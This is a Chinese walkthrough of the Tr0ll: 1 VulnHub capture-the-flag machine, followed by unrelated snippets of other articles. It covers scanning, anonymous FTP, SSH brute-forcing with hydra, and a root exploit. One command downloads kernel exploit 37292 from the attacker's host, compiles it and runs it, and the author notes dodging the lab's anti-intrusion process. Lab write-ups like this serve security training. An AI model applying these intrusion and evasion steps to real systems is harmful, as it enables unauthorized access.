【Vulnhub通关】Tr0ll: 1

封面.jpg


准备工作

靶机基本信息

靶机名称:Tr0ll: 1
操作系统:Linux
网络连接方式:NAT
虚拟机软件:VMware Workstation
渗透测试目标:获取靶机root权限并读取Flag文件
下载地址:Tr0ll: 1 ~ VulnHub

靶机界面截图.png

环境配置

点击本文中的靶机下载链接,下载完成之后将其解压至指定位置,随后打开VMware Workstation,点击主页上的文件 => 扫描虚拟机,在弹出的窗口中选中保存路径即可导入靶机。


信息收集

IP地址发现

在Kali Linux中,我们可以使用netdiscover工具发送ARP请求来发现靶机的IP地址。

netdiscover -r 192.168.20.0/24

ip地址发现.png
可以发现靶机的IP地址为192.168.20.130

防火墙探测

接下来我们使用Nmap对靶机进行防火墙探测:

nmap -sA -p- 192.168.20.130

防火墙探测.png
无法确定防火墙状态,直接进行网络端口扫描。

网络端口扫描

我们可以使用Nmap工具扫描靶机的开放端口、软件版本和操作系统版本:

# TCP扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.20.130
# UDP扫描
nmap -sC -sU -sV -T4 -oN ./udp_result.txt 192.168.20.130

TCP扫描结果
tcp扫描结果.png
UDP扫描结果
udp扫描结果.png
可以看到靶机开放了如下端口:

端口传输层协议应用层协议详细信息
21TCPFTPvsftpd 3.0.2
22TCPSSHOpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80TCPHTTPApache httpd 2.4.7 ((Ubuntu))

同时发现靶机操作系统为Ubuntu Linux,内核版本大概为Linux 3.2 - 4.9


服务探测

FTP服务(21端口)

我们首先使用Nmap对靶机的21号端口进行扫描:

nmap --script=*ftp* -p 21 192.168.20.130

ftp扫描结果.png
可以看到靶机的FTP服务允许匿名登录。直接尝试查看:
ftp目录.png
发现里面只有一个.pcap格式的网络抓包文件。使用Wireshark查看:
pcap流量包.png
在流量包的第40号传输中发现了文件secret_stuff.txt的内容,里面有一个不明意义的词sup3rs3cr3tdirlol,貌似是告诉我们几乎已经找到了秘密文件夹的位置。
尝试向FTP上传文件,但是我们并无权限。

SSH服务(22端口)

我们使用Netcat确定端口Banner:

┌──(root㉿attacker)-[/home/hacker]
└─# nc -nv 192.168.20.130 22                
(UNKNOWN) [192.168.20.130] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2
^C

Web应用程序(80端口)

我们使用浏览器打开网址:http://192.168.20.130/
主页.png
尝试进行目录扫描:

dirsearch -u http://192.168.20.130/ -x 400,403,404

目录扫描.png
发现了/secretrobots.txt,除此之外,还发现了/sup3rs3cr3tdirlol目录。
访问robots.txt,发现内容如下:

User-agent:*
Disallow: /secret

查看/secret目录:
secret目录.png
查看/sup3rs3cr3tdirlol目录,发现如下文件:
关键目录.png


渗透测试

sup3rs3cr3tdirlol目录中的文件下载之后,发现为ELF文件。直接进行逆向分析:
逆向roflmao.png

发现该程序只是打印了字符串Find address 0x0856BF to proceed到终端上,但这里的所谓“地址”应该指的不是内存地址。。。。

尝试访问目录http://192.168.20.130/0x0856BF
0x0856BF目录.png
/good_luck目录下包含一个文本文档。内容如下:

maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

/this_folder_contains_the_password目录下包含一个文本文档,内容如下:

Good_job_:)

尝试爆破SSH服务账号密码,但是失败了。
提示说这个文件夹包含密码 ,于是自己制作了如下字典:

Good_job_:)
0x0856BF
this
folder
contains
password
the
this_folder_contains_the_password
Pass
pass
Pass.txt
pass.txt
txt
good
luck
good_luck
which
one
lol
which_one_lol
which_one_lol.txt

再次尝试爆破,成功:

hydra -L ./userlist -P ./pass 192.168.20.130 ssh

ssh密码爆破.png
找到SSH登录凭据:

  • 用户名:overflow
  • 密码:Pass.txt

直接使用Termius登录:
登录ssh.png


权限提升

本地信息收集

进入靶机系统之后,我们通过SimpleHTTPServer上传LinPeas工具进行本地信息收集:

系统基本信息
系统基本信息.png
用户列表
用户列表.png
进程列表
进程信息.png
特殊权限文件
特权文件.png
计划任务
计划任务.png
经分析研判后,总结出如下信息:

  1. 靶机操作系统版本较低,为Ubuntu Linux 14.04.1 LTS,内核版本为3.13.0,可能存在内核漏洞。
  2. 靶机以root用户权限运行了fail2ban-server程序,经查,该程序为防病毒与主机安全防御软件,不存在通过该程序提权可能(进程ID为1340)。

内核漏洞提权

我们在获取操作系统版本之后,尝试查询漏洞库:

searchsploit Ubuntu 14.04

成功查询到了多个安全漏洞:
查询漏洞.png
经过一番筛选后,选用了和靶机系统版本最贴合的37292号漏洞。但是该靶机上的反入侵软件比较强大,基本上传了木马文件就直接秒删,所以我们采取将多条命令合并成一条命令的措施(占用文件),并且在获取到root权限之后就立刻终止1340号进程

wget http://192.168.20.50:9000/37292.c && gcc 37292.c -o 37292 && chmod 777 ./37292 && ./37292

屏幕截图 2024-02-28 084537.png
直接更改密码:

# python -c "import pty;pty.spawn('/bin/bash')"
root@troll:/tmp# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

成功!!


Flag文件信息

文件名:proof.txt
文件大小:58.00 Bytes
文件路径:/root/proof.txt
MD5:ac7d51fca202ba7d1a15710966d1c2f0
SHA256:982501baf03dc0ed693222bab038ec3e7a4dbcfe2b2f176cf34a2e26d14571cf

文件内容展示:
flag截图.png


本次靶机渗透到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/422712.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SparkStreaming在实时处理的两个场景示例

简介 Spark Streaming是Apache Spark生态系统中的一个组件&#xff0c;用于实时流式数据处理。它提供了类似于Spark的API&#xff0c;使开发者可以使用相似的编程模型来处理实时数据流。 Spark Streaming的工作原理是将连续的数据流划分成小的批次&#xff0c;并将每个批次作…

数通HCIE和云计算HCIE哪个好一点?

数通是网络的基础知识&#xff0c;也是入门人员必学的方向&#xff0c;相对也会简单些&#xff0c;学习数通&#xff0c;可以很好的学习其他的方向。数通的就业范围也比较广&#xff0c;运营商、企业、政府还是互联网公司&#xff0c;都需要大量的数通工程师来搭建和维护网络&a…

科技企业如何做到FTP数据安全保护

在数字化浪潮的推动下&#xff0c;科技企业的数据已成为推动创新、提升效率、增强竞争力的核心资源。数据的重要性不言而喻&#xff0c;它不仅包含了客户信息、市场分析、产品设计等关键信息&#xff0c;更是企业宝贵的资产。然而&#xff0c;随着数据量的激增&#xff0c;数据…

51单片机-(定时/计数器)

51单片机-&#xff08;定时/计数器&#xff09; 了解CPU时序、特殊功能寄存器和定时/计数器工作原理&#xff0c;以定时器0实现每次间隔一秒亮灯一秒的实验为例理解定时/计数器的编程实现。 1.CPU时序 1.1.四个周期 振荡周期&#xff1a;为单片机提供定时信号的振荡源的周期…

【论文笔记】Mamba:挑战Transformer地位的新架构

Mamba Mamba: Linear-Time Sequence Modeling with Selective State Spaces 代码地址 摘要 背景 基础模型&#xff0c;它现在驱动着深度学习中大多数令人振奋的应用&#xff0c;几乎都是基于Transformer架构及其核心注意力模块。 存在的问题 许多subquadratic-time架构如…

langchain学习笔记(十)

Bind runtime args | &#x1f99c;️&#x1f517; Langchain 1、有时&#xff0c;我们希望使用常量参数调用Runnable序列中的Runnable&#xff0c;这些参数不是序列中前一个Runnable的输出的一部分&#xff0c;也不是用户的输入&#xff0c;这时可以用Runnable.bind() from …

【学习心得】浏览器开发者工具中出现的VM开头的JS文件是什么?

一、现象描述 在Chrome的开发者工具中&#xff0c;你可能会看到一些以“VM”开头的JavaScript文件&#xff08;如“VM111.js”&#xff09;。 二、VM文件到底是什么&#xff1f; “VM”表示的是Virtual Machine&#xff08;虚拟机&#xff09;&#xff0c;这些文件通常表示由浏…

C++:菱形继承问题

目录 1、什么是菱形继承 2、虚拟继承 3、一些常见问题 1. 什么是菱形继承&#xff1f;菱形继承的问题是什么&#xff1f; 2. 什么是菱形虚拟继承&#xff1f;如何解决数据冗余和二义性的 3. 继承和组合的区别&#xff1f;什么时候用继承&#xff1f;什么时候用组合&#…

wpsexcel蛋疼的数字列转文本

在excel处理时&#xff0c;有时某一列会以数字形式展示&#xff0c;后续处理非常麻烦&#xff0c;希望转为字符&#xff0c;参考以下方法 选定整列点击"数据"->“分列”->一直下一步直到选择文本

Java求职技能清单(2024版)

一、Java基础扎实&#xff08;反射、集合、IO、NIO、多线程、设计模式、通信协议等基础技术&#xff09; &#xff08;一&#xff09;Java &#xff08;二&#xff09;网络IO &#xff08;三&#xff09;NIO模型 &#xff08;…

在golang中使用protoc

【Golang】proto生成go的相关文件 推荐个人主页&#xff1a;席万里的个人空间 文章目录 【Golang】proto生成go的相关文件1、查看proto的版本号2、安装protoc-gen-go和protoc-gen-go-grpc3、生成protobuff以及grpc的文件 1、查看proto的版本号 protoc --version2、安装protoc-…

备战蓝桥杯---线段树基础2

今天我们把线段树的另一个模板看一下&#xff1a; 在这里&#xff0c;我们注意到乘的操作&#xff0c;因此我们用两个懒标记来分别表示加和乘&#xff0c;这时我们面临了一个问题&#xff0c;就是当我们把标记往下传时&#xff0c;它的儿子怎么知道是先乘还是先加&#xff1f; …

Doris实战——拈花云科的数据中台实践

前言 拈花云科 NearFar X Lab 团队调研并引进 Doris 作为新架构下的数据仓库选型方案。本文主要介绍了拈花云科数据中台架构从 1.0 到 2.0 的演变过程&#xff0c;以及 Doris 在交付型项目和 SaaS 产品中的应用实践。 一、业务背景 拈花云科的服务对象主要是国内各个景区、景点…

React-router的创建和第一个组件

需要先学react框架 首先&#xff1a;找到一个文件夹&#xff0c;在文件夹出打开cmd窗口&#xff0c;输入如下图的口令 npx create-react-app demo 然后等待安装 安装完成 接下来进入创建的demo实例 cd demo 然后可以用如下方式打开vscode code . 注意&#xff1a;不要忽略点号与…

【重温设计模式】享元模式及其Java示例

享元模式的介绍 在编程世界中&#xff0c;我们常常面临着如何有效管理系统资源的挑战。这就好比我们在生活中&#xff0c;面对有限的物质资源&#xff0c;如何做到既满足需求又节约使用&#xff0c;是一门艺术。在设计模式中&#xff0c;有一种模式&#xff0c;恰如其分地解决…

VR转接器:破解虚拟与现实边界的革命性设备

VR转接器&#xff0c;这一革命性的设备&#xff0c;为虚拟现实体验带来了前所未有的自由度。它巧妙地连接了虚拟与现实&#xff0c;使得用户在享受VR眼镜带来的奇幻世界的同时&#xff0c;也能自由地在现实世界中活动。这一设计的诞生&#xff0c;不仅解决了VR眼镜续航的瓶颈问…

MySQL进阶之(三)InnoDB数据存储结构之数据页结构

三、InnoDB数据存储结构之数据页结构 3.1 数据库的存储结构3.1.1 MySQL 数据存储目录3.1.2 页的引入3.1.3 页的概述3.1.4 页的上层结构 3.2 数据页结构3.2.1 文件头和文件尾01、File Header&#xff08;文件头部&#xff09;02、File Trailer&#xff08;文件尾部&#xff09; …

比小鹏、问界都贵,谁给了理想MEGA勇气?

“规模小的时候&#xff0c;一号位善于解题。规模大的时候&#xff0c;一号位要善于出题。” 前不久&#xff0c;理想汽车CEO李想在微博上如此评价一家公司中&#xff0c;老板应该怎么做。 现在&#xff0c;成立近9年的理想汽车做出了一个“违背祖宗”的决定——大举进军纯电…

陶瓷工业5G智能制造工厂数字孪生可视化平台,推进行业数字化转型

陶瓷工业5G智能制造工厂数字孪生可视化平台&#xff0c;推进行业数字化转型。在陶瓷工业领域&#xff0c;5G智能制造工厂数字孪生可视化平台的应用正在改变着行业的传统生产模式&#xff0c;推动着数字化转型的进程。本文将围绕这一主题展开探讨&#xff0c;分析数字孪生可视化…

挑战30天学完Python:Day25 pandas

&#x1f389; 本系列为Python基础学习&#xff0c;原稿来源于 30-Days-Of-Python 英文项目&#xff0c;大奇主要是对其本地化翻译、逐条验证和补充&#xff0c;想通过30天完成正儿八经的系统化实践。此系列适合零基础同学&#xff0c;或仅了解Python一点知识&#xff0c;但又没…